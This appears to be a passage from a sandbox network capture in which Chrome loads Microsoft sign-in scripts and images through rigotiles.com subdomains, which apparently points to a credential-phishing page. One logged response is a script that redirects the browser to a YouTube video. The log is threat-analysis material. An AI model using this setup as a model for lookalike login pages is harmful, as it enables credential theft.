2024-10-31 20:55:20 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	51036	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:21 UTC	418	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:21 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19063352 Cache-Control: public, max-age=31536000 Content-MD5: A8dgUeRfi6/VknMbox6Cuw== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:21 GMT Etag: 0x8D876CB1F3EA0D9 Last-Modified: Thu, 22 Oct 2020 20:43:24 GMT Server: ECAcc (lhc/7916) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6e90de5d-e01e-00c1-2e75-7ef560000000 x-ms-version: 2009-09-19 Content-Length: 11970 Connection: close
2024-10-31 20:55:21 UTC	11970	IN	Data Raw: 2f 2a 21 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 Data Ascii: /*! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	51038	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:21 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 20:55:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: be14f82d-eb05-4100-b721-648a93bff926 MS-RequestId: cfc059dc-df61-4405-8b77-7833d86ef4e2 MS-CV: Q8jxHdq5pUu0KSMn.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 20:55:21 GMT Connection: close Content-Length: 30005
2024-10-31 20:55:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-31 20:55:21 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	51039	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:22 UTC	619	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:22 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19063238 Cache-Control: public, max-age=31536000 Content-MD5: up2irhKVlrgd4fr/sCzQ9w== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:22 GMT Etag: 0x8DA5944E2DB65A3 Last-Modified: Tue, 28 Jun 2022 20:29:22 GMT Server: ECAcc (lhc/7891) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e4cc39b6-101e-0042-5b76-7edf33000000 x-ms-version: 2009-09-19 Content-Length: 9285 Connection: close
2024-10-31 20:55:22 UTC	9285	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 28 78 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 63 6f 6e 63 61 74 28 22 2f 2f 22 2c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 78 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 65 29 7b 74 72 79 7b 76 61 72 20 72 3d 2f 66 75 6e 63 74 69 6f 6e 20 28 2e 7b 31 2c 7d 29 5c 28 2f 2c 6e 3d 72 2e 65 78 65 63 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3e 31 3f 6e 5b 31 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c Data Ascii: !function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	51041	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:22 UTC	766	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:23 UTC	1213	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:23 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8D8731230C851A6 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT X-Azure-Ref: 20241029T162003Z-17d9cd8886fthbtdm0wyfbbd8c00000005c0000000000yet X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: ce73d1d8-e01e-0019-66f6-263452000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189319 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4N9%2FC68OhIkvGGkaXOHX4MtA8INEGsZTDlgHqb0zmF5%2Fb4xcrQ%2FA9GNv%2Bx5jI09uwjvdEQ%2F8%2Bi6F8Ghn8%2FBZNdA%2F%2FG5gAt57ewMcHDR4anQGUne7cfboB1czCryRySCoshfI8cHw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb10e4e3455-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:23 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 33 33 36 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 34 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 36 31 38 38 37 26 63 77 6e 64 3d 32 33 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 65 66 35 62 65 34 33 37 30 65 62 30 61 33 33 26 74 73 3d 31 35 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1336&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1344&delivery_rate=1461887&cwnd=237&unsent_bytes=0&cid=fef5be4370eb0a33&ts=159&x=0"
2024-10-31 20:55:23 UTC	1334	IN	Data Raw: 34 33 31 36 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 4316h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 Data Ascii: 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333""""""""""""""""""""""""""""""
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: 33333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: """""""""" 333333333333333333333333333333
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDD
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 Data Ascii: UUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUU
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 Data Ascii: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: """"""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	51042	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:22 UTC	735	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:23 UTC	1235	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:23 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DCBD5317046A2F Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT X-Azure-Ref: 20241031T153648Z-17d9cd8886fr8n8tducheumng40000000bbg000000001sqf X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: cea6a15c-201e-0050-3fad-253eab000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 19115 Report-To: 